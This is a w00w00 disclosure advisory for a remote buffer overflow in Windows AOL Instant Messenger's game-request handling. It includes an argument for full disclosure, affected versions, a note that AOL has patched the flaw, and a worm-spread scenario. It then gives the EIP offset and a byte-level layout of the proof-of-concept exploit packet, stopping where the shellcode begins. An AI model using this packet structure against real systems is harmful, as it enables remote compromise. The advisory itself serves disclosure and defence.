AOL Instant Messenger overflow

Author: Matt Conover ([email protected])
Contributors: nocarrier, napster, and w00w00 collectively


Happy w00year! It has been a while, friends, but w00w00 is still going
strong!  w00w00 is over three years old now and still boasts the title
of the world's largest non-profit security team. One thing remains
true about the world of w00w00, though: we love to shake things up. 

We'd like to take a moment and make an important point. Due to
unfortunate circumstances, the environment of the security industry
has changed for the worse. Most major vendors and security companies
have all switched their policies to limited disclosure, leaving the
end users still vulnerable to serious software flaws. Why? Two big 
reasons: the DMCA and a change in the corporate view of "information

First, the Digital Millenium Copyright Act affects circumvention of
anti-piracy mechanisms and reverse engineering. If a product is
released in binary form only (i.e., AOL Instant Messenger) to 
protect its technologies and one attempts to reverse engineer the 
file, it's a violation of the DMCA. Find out more information about 
the DMCA at http://www.anti-dcma.org.

Second, Microsoft has "decried" information anarchy. Many major
security companies have followed suit and the rest just bent to the
pressure. However, blaming security research teams, such as w00w00,
for releasing information on vulnerabilities is a cop-out. Whether or
not security research teams release information on vulnerabilities, it
doesn't change the fact that the vendor produced insecure software.
Vulnerabilities are still exploited in the same way they were by the
Internet Worm 13 years ago. Further, one can reasonably assume that a
fair number of hackers are exploiting unpublished vulnerabilities.
By only silently updating products, computer users are unknowingly left


AOL Instant Messenger (AIM) has a major security vulnerability in the
latest stable (4.7.2480) and beta (4.8.2616) Windows versions. In
addition, most versions prior to 4.7 are also vulnerable. Users of
AIM Express and non-Windows versions are *NOT* vulnerable. This
vulnerability will allow remote penetration of the victim's system
without any indication as to who performed the attack. There is no
opportunity to refuse the request. This does not affect the
non-Windows versions, because the non-Windows versions currently do
not yet support the feature that this vulnerability occurs in.

This particular vulnerability results from an overflow in the code
that parses a game request. The actual overflow appears to be in the
parsing of TLV type 0x2711. This may be more generic and exploitable
through other means, but AOL has not released enough information about
their protocol for us to be able to determine that.

AOL has now fixed this on the server side. So at least for this
particular attack, AIM filter will no longer be needed. We have tested
their latest server fix and it does appear to fix this vulnerability.
It blocks game requests that are too long in length, it isn't 
searching for any specific payload or phrase like "w00w00". So, this
does appear to be a sound solution on the server side. In addition,
AOL has released a new version of AOL Instant Messenger that fixes
this on the client side.


AOL Instant Messenger (http://www.aim.com) has over 100 million users.
The implications of this vulnerability are huge and leave the door wide 
open for a worm not unlike those that Microsoft Outlook, IIS, et al. 
have all had (Melissa, ILOVEYOU, CodeRed, nimda, etc.). An exploit 
could easily be amended to download itself off the web, determine 
the buddies of the victim, and then attack them also. Given the 
general nature of social networks and how they are structured, we 
predict that it wouldn't take long for such an attack to propagate.

The particular overflow described supra allows a payload can be 
several thousand bytes long, which leaves lots of room for creative 
shellcode. In addition, the shellcode can have null bytes in it, as
long as the shellcode is located after the offset to EIP in the 
shellcode. That is, the offset to EIP is 1723 bytes into TLV type 
0x2711. So if the shellcode is located after offset 1726, null bytes
can be left in.


The proof-of-concept code, w00aimexp, is too big (1000+ lines) to
include here, but it can be viewed at 
/files/w00aimexp/.  This is the packet generated
by w00aimexp (without USE_FULL_SIZE defined):

FLAP header (6 bytes)
[\x2a] '*' (magic number)
[\x02] channel (data)
[\x00\x11] seqnum number
[\x07\x87] packet length (1927 bytes)

SNAC header (10 bytes)
[\x00\x04] SNAC family (message)
[\x00\x06] SNAC type (outgoing message)
[\x00\x00] SNAC flags (none)
[\x00\x00\x00\x09] SNAC ID

[\xa4\x98\xa3\x56\x54\xbf\xf2\xfd] cookie

[\x00\x02] SNAC channel (data)

[\x0c] victim screen name length
[\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX\xXX] victim screen name

Now a set of TLV data types. There is a base container, type 0x05,
that contains everything else. Inside of this are several smaller
containers, with each TLV type following immediately after the
previous. If those are misaligned, you'll receive a "busted SNAC
payload" error.

[\x00\x05] TLV type (0x05)
[\x07\x62] TLV length (1890 bytes)

[\x00\x00] cookie marker
[\xa4\x98\xa3\x56\x54\xbf\xf2\xfd] cookie

Capability used to exploit this libfaim calls it (SAVESTOCKS):

[\x00\x0a] TLV type (0x0a)
[\x00\x02] TLV length (2 bytes)
[\x00\x01] TLV data

[\x00\x0f] TLV type (0x0f)
[\x00\x00] TLV length (0)

[\x00\x0e] TLV type (0x0e)
[\x00\x02] TLV length (2 bytes)
["en"] TLV data (language)

[\x00\x0d] TLV type (0x0d)
[\x00\x08] TLV length (8 bytes)
["us-ascii"] TLV data (charset)

[\x00\x0c] TLV type (0x0d)
[\x00\x06] TLV length (6 bytes)
["w00w00"] TLV data (game's name?)

[\x00\x03] TLV type (0x03)
[\x00\x04] TLV length (4 bytes)

[\x00\x05] TLV type (0x05)
[\x00\x02] TLV length (2 byte)

[\x00\x07] TLV type (0x07)
[\x00\x4d] TLV length (77 bytes)

[\x27\x11] TLV type (0x2711)
[\x06\xbf] TLV length (22 + length of our shellcode = 1727 bytes)
\x54\x00\x00\x00\x0b\x00\x09 + shellcode starts here]

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